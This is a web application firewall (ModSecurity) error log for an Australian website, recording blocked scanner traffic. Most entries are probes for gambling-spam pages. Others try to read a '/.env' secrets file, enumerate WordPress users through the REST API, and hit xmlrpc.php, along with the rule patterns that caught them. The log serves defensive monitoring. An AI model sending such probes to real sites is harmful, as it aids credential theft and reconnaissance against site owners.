[Wed May 20 02:27:38.973174 2026] [:error] [pid 55881:tid 55898] [client 91.137.27.140:63359] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "agyrmu-UExma0LUC7WAeoQAAAk8"]
[Wed May 20 02:27:41.497032 2026] [:error] [pid 41573:tid 41576] [client 91.137.27.140:63644] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "agyrnS1A2bd6JDSW9RbYlQAAAQE"]
[Wed May 20 02:27:43.871987 2026] [:error] [pid 41573:tid 41583] [client 91.137.27.140:59946] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "agyrny1A2bd6JDSW9RbYnQAAAQg"]
[Wed May 20 02:27:46.379790 2026] [:error] [pid 29823:tid 29849] [client 91.137.27.140:33160] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "agyromO09C0nAz8vRk55TAAAAco"]
[Wed May 20 02:27:48.899580 2026] [:error] [pid 38697:tid 38720] [client 91.137.27.140:38560] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "agyrpKXP9pP6Kgt-msR00wAAAAU"]
[Wed May 20 02:27:51.399790 2026] [:error] [pid 41573:tid 41579] [client 91.137.27.140:20330] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "agyrpy1A2bd6JDSW9RbYugAAAQQ"]
[Wed May 20 02:27:53.780111 2026] [:error] [pid 38699:tid 38747] [client 91.137.27.140:43749] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "agyrqb--Adsw_P-dthbbuAAAAEU"]
[Wed May 20 02:28:27.362964 2026] [:error] [pid 41573:tid 41578] [client 91.137.27.140:53241] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "agyryy1A2bd6JDSW9RbY9AAAAQM"]
[Wed May 20 02:28:29.843163 2026] [:error] [pid 38699:tid 38752] [client 91.137.27.140:55288] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "agyrzb--Adsw_P-dthbb0QAAAEo"]
[Wed May 20 02:28:32.346156 2026] [:error] [pid 38697:tid 38720] [client 91.137.27.140:26099] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "agyr0KXP9pP6Kgt-msR03gAAAAU"]
[Wed May 20 02:28:34.832404 2026] [:error] [pid 38814:tid 38817] [client 91.137.27.140:7427] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "agyr0gvkKuBwP0epzWezkAAAAME"]
[Wed May 20 02:28:37.338648 2026] [:error] [pid 29622:tid 29624] [client 91.137.27.140:28264] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "agyr1TkOqPKWkPs_P15glgAAAgA"]
[Wed May 20 02:28:39.820077 2026] [:error] [pid 41573:tid 41590] [client 91.137.27.140:26341] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "agyr1y1A2bd6JDSW9RbY_AAAAQ8"]
[Wed May 20 02:28:42.208298 2026] [:error] [pid 41573:tid 41576] [client 91.137.27.140:21538] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "agyr2i1A2bd6JDSW9RbZBAAAAQE"]
[Wed May 20 02:28:44.700551 2026] [:error] [pid 38697:tid 38717] [client 91.137.27.140:53271] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "agyr3KXP9pP6Kgt-msR06AAAAAI"]
[Wed May 20 02:28:47.203327 2026] [:error] [pid 38697:tid 38716] [client 91.137.27.140:53232] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "agyr36XP9pP6Kgt-msR07gAAAAE"]
[Wed May 20 02:28:49.711307 2026] [:error] [pid 38697:tid 38737] [client 91.137.27.140:41766] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "agyr4aXP9pP6Kgt-msR08wAAABY"]
[Wed May 20 02:28:52.207035 2026] [:error] [pid 41573:tid 41576] [client 91.137.27.140:50590] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "agyr5C1A2bd6JDSW9RbZCwAAAQE"]
[Wed May 20 02:28:54.718039 2026] [:error] [pid 38697:tid 38720] [client 91.137.27.140:42965] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "agyr5qXP9pP6Kgt-msR0-QAAAAU"]
[Wed May 20 02:28:57.196997 2026] [:error] [pid 46896:tid 46915] [client 91.137.27.140:55523] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "agyr6aCHyzL3Ci9LGE105AAAAZE"]
[Wed May 20 02:28:59.563893 2026] [:error] [pid 41573:tid 41591] [client 91.137.27.140:17401] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "agyr6y1A2bd6JDSW9RbZDwAAARA"]
[Wed May 20 02:29:02.079975 2026] [:error] [pid 41573:tid 41579] [client 91.137.27.140:15692] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agyr7i1A2bd6JDSW9RbZEQAAAQQ"]
[Wed May 20 02:29:04.558263 2026] [:error] [pid 55881:tid 55884] [client 91.137.27.140:8494] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "agyr8O-UExma0LUC7WAetgAAAkE"]
[Wed May 20 02:29:06.921470 2026] [:error] [pid 38697:tid 38715] [client 91.137.27.140:47649] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "agyr8qXP9pP6Kgt-msR0-gAAAAA"]
[Wed May 20 02:29:09.464497 2026] [:error] [pid 41573:tid 41587] [client 91.137.27.140:37123] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "agyr9S1A2bd6JDSW9RbZEwAAAQw"]
[Wed May 20 02:29:12.033540 2026] [:error] [pid 55881:tid 55893] [client 91.137.27.140:38509] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "agyr-O-UExma0LUC7WAetwAAAko"]
[Wed May 20 02:29:14.342322 2026] [:error] [pid 55881:tid 55906] [client 91.137.27.140:60832] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "agyr-u-UExma0LUC7WAeuAAAAlc"]
[Wed May 20 02:29:16.831221 2026] [:error] [pid 29823:tid 29836] [client 91.137.27.140:58003] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "agyr_GO09C0nAz8vRk55fAAAAcE"]
[Wed May 20 02:29:19.338356 2026] [:error] [pid 29823:tid 29862] [client 91.137.27.140:14175] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "agyr_2O09C0nAz8vRk55fQAAAdc"]
[Wed May 20 02:29:21.850647 2026] [:error] [pid 29823:tid 29863] [client 91.137.27.140:59732] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "agysAWO09C0nAz8vRk55gAAAAdg"]
[Wed May 20 02:29:55.574350 2026] [:error] [pid 41573:tid 41599] [client 91.137.27.140:8802] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "agysIy1A2bd6JDSW9RbZMwAAARg"]
[Wed May 20 02:29:58.050920 2026] [:error] [pid 46896:tid 46900] [client 91.137.27.140:21579] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "agysJqCHyzL3Ci9LGE106wAAAYI"]
[Wed May 20 02:30:00.363190 2026] [:error] [pid 41573:tid 41595] [client 91.137.27.140:13062] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "agysKC1A2bd6JDSW9RbZNAAAARQ"]
[Wed May 20 02:30:02.679299 2026] [:error] [pid 41573:tid 41586] [client 91.137.27.140:9542] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "agysKi1A2bd6JDSW9RbZNwAAAQs"]
[Wed May 20 02:30:05.146212 2026] [:error] [pid 29823:tid 29850] [client 91.137.27.140:29240] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "agysLWO09C0nAz8vRk55igAAAcs"]
[Wed May 20 02:30:07.615531 2026] [:error] [pid 29823:tid 29839] [client 91.137.27.140:56014] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "agysL2O09C0nAz8vRk55lgAAAcQ"]
[Wed May 20 04:34:01.473982 2026] [:error] [pid 59349:tid 59371] [client 49.51.243.156:51676] [client 49.51.243.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agzJOTvvxTUy-ppKSZV9FAAAANQ"]
[Wed May 20 04:50:17.641788 2026] [:error] [pid 59246:tid 59326] [client 194.62.107.158:31173] [client 194.62.107.158] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "agzNCWXuF32eb0pGiHwSPgAAAJM"]
[Wed May 20 06:26:27.267550 2026] [:error] [pid 57774:tid 57825] [client 188.245.167.140:48208] [client 188.245.167.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.245.167.140, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agzjk6zH4LWfnGU0RXC5jgAAAdY"]
[Wed May 20 06:27:42.289974 2026] [:error] [pid 57834:tid 57901] [client 188.245.167.140:49046] [client 188.245.167.140] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "agzj3nTOfwZ09EhqoYAANwAAAoo"]
[Wed May 20 06:30:25.118784 2026] [:error] [pid 57835:tid 57940] [client 213.199.38.89:48548] [client 213.199.38.89] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "agzkgWYoVRVVHvoOYbpE3gAAAtY"]
[Wed May 20 06:51:57.066141 2026] [:error] [pid 59349:tid 59364] [client 43.130.72.40:53940] [client 43.130.72.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agzpjTvvxTUy-ppKSZWdLAAAAM0"]
[Wed May 20 07:13:09.300764 2026] [:error] [pid 57835:tid 57941] [client 182.69.179.211:12384] [client 182.69.179.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.69.179.211, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agzuhWYoVRVVHvoOYbpI5gAAAtc"], referer: https://vetstars.com.au/
[Wed May 20 10:00:52.490557 2026] [:error] [pid 41364:tid 41385] [client 43.166.1.243:60852] [client 43.166.1.243] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ag0V1BKTmyvxtNXrN-hRqgAAAJM"]
[Wed May 20 10:32:37.767028 2026] [:error] [pid 44059:tid 44064] [client 74.249.157.90:22626] [client 74.249.157.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "ag0dRRfFs-oSOOcyjyx_zAAAAQM"]
[Wed May 20 10:32:38.561810 2026] [:error] [pid 41279:tid 41360] [client 74.249.157.90:9520] [client 74.249.157.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "ag0dRrEFyfaehGZbt4xRGwAAANg"]
[Wed May 20 10:32:39.337908 2026] [:error] [pid 41279:tid 41337] [client 74.249.157.90:20154] [client 74.249.157.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "ag0dR7EFyfaehGZbt4xRHAAAAME"]
[Wed May 20 10:32:40.109603 2026] [:error] [pid 41279:tid 41342] [client 74.249.157.90:24322] [client 74.249.157.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "ag0dSLEFyfaehGZbt4xRHwAAAMY"]
[Wed May 20 12:09:29.690850 2026] [:error] [pid 41278:tid 41331] [client 43.166.239.145:33172] [client 43.166.239.145] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ag0z-fWiNKASEfiGdwaJqwAAAFY"]
[Wed May 20 14:33:59.606649 2026] [:error] [pid 41279:tid 41360] [client 34.46.57.55:50192] [client 34.46.57.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ag1V17EFyfaehGZbt4xzDQAAANg"]
[Wed May 20 14:33:59.992973 2026] [:error] [pid 44059:tid 44082] [client 34.46.57.55:64168] [client 34.46.57.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ag1V1xfFs-oSOOcyjyzQTAAAARU"]
[Wed May 20 14:34:00.379471 2026] [:error] [pid 7731:tid 7744] [client 34.46.57.55:63252] [client 34.46.57.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "ag1V2H9qQlHXbkl2nEuecAAAAYs"]
[Wed May 20 14:34:00.449465 2026] [:error] [pid 41364:tid 41378] [client 34.46.57.55:52736] [client 34.46.57.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ag1V2BKTmyvxtNXrN-iUmQAAAIw"]
[Wed May 20 14:34:01.236865 2026] [:error] [pid 44059:tid 44081] [client 34.46.57.55:52229] [client 34.46.57.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "ag1V2RfFs-oSOOcyjyzQegAAARQ"]
